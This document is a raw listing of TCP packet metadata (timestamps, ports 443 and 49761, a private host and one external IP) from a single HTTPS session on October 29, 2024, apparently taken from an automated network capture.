Oct 29, 2024 04:17:32.224984884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225001097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225066900 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225081921 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225217104 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225475073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225488901 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225527048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225538969 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225564957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225585938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225877047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225889921 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225922108 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225934982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.225958109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.225979090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.231981039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.231995106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.232069016 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.232101917 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.232204914 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.233222008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.233236074 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.233283997 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.233292103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.234208107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.234225988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.234266043 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.234273911 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.234287024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.234318018 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.235286951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.235300064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.235331059 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.235337019 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.235352039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.235373020 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.245928049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.245940924 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.246005058 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.246017933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.246790886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.328016043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.328032970 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.328109980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.328141928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.328253984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.329117060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.329132080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.329184055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.329195976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.329222918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.329241991 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.329947948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.329962015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.330130100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.330142021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.330195904 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.363121986 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.363136053 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.363185883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.363208055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.363230944 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.363251925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.415278912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.415302992 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.415389061 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.415471077 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.415529966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.417629957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.446543932 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.446557999 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.446635008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.446662903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.446772099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.447474003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.447488070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.447655916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.447664022 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.447978973 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.480479002 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.480494976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.480549097 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.480565071 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.480875969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.481286049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.481300116 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.481345892 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.481354952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.481782913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.533087015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.533102989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.533200026 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.533277035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.533653975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.564163923 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.564178944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.564368010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.564388990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.564441919 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.565108061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.565121889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.565176964 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.565190077 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.567496061 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.598020077 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.598033905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.598309994 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.598325014 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.598381042 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.640872002 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.640886068 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.641073942 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.641089916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.641144037 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.681134939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.681162119 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.681314945 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.681329012 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.681772947 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.681906939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.681921005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.681974888 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.681988955 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.682841063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.682858944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.682918072 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.682934046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.685995102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.715536118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.715548992 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.715816021 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.715828896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.715884924 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.716248035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.716260910 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.716315985 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.716329098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.717731953 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.768042088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.768060923 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.768229008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.768246889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.768294096 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.799118996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.799134970 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.799200058 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.799226046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.799251080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.799273968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.799928904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.799943924 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.799998999 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.800012112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.801500082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.819632053 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.819647074 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.819724083 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.819737911 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.821691990 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.833446980 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.833460093 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.833513021 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.833527088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.833554029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.833575010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.885642052 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.885657072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.885720015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.885736942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.885786057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.916270971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.916285038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.916337013 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.916351080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.916445017 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.917289019 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.917303085 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.917354107 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.917366028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.917392969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.917413950 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.918040037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.918052912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.918103933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.918118954 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.918143988 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.918160915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.950809956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.950825930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.950894117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.950908899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.950967073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.951529026 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.951544046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.951592922 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.951606035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.951901913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.003614902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.003634930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.003683090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.003709078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.003732920 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.003945112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.034328938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.034343958 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.034411907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.034431934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.034456968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.034981012 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.035000086 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.035048962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.035067081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.035098076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.035118103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.035788059 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.035800934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.035846949 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.035865068 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.035887003 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.036108017 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.068218946 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.068238020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.068284988 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.068298101 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.068322897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.068351030 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.069120884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.069134951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.069180012 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.069191933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.069219112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.069371939 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.120873928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.120889902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.120942116 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.120971918 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.120995045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.121030092 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.151817083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.151837111 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.151899099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.151916027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.152013063 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.152549982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.152564049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.152611017 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.152621984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.152671099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.152723074 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.153301001 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.153315067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.153373957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.153387070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.153527975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.185791016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.185808897 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.185890913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.185913086 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.186573982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.186594009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.186631918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.186646938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.186674118 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.187171936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.238246918 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.238271952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.238343954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.238363028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.238392115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.238413095 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.269367933 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.269388914 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.269433975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.269443989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.269475937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.269494057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.269741058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.269754887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.269802094 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.269808054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.270560980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.270586014 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.270600080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.270644903 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.270652056 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.270695925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.303046942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.303062916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.303139925 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.303153038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.303495884 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.303729057 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.303742886 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.303792000 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.303811073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.303833008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.303853035 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.355607986 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.355623007 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.355706930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.355720997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.358627081 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.386753082 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.386775017 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.386986971 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.387006044 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.387063980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.387264013 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.387276888 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.387352943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.387365103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.387478113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.388083935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.388098001 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.388153076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.388165951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.388665915 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.388684988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.388720036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.388739109 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.388761044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.391485929 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.420665979 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.420681000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.420754910 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.420769930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.421377897 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.421396017 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.421432018 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.421452045 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.421478033 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.421495914 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.473050117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.473067045 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.473170996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.473186970 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.475598097 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.504271030 CET	443	49761	87.106.236.48	192.168.2.4
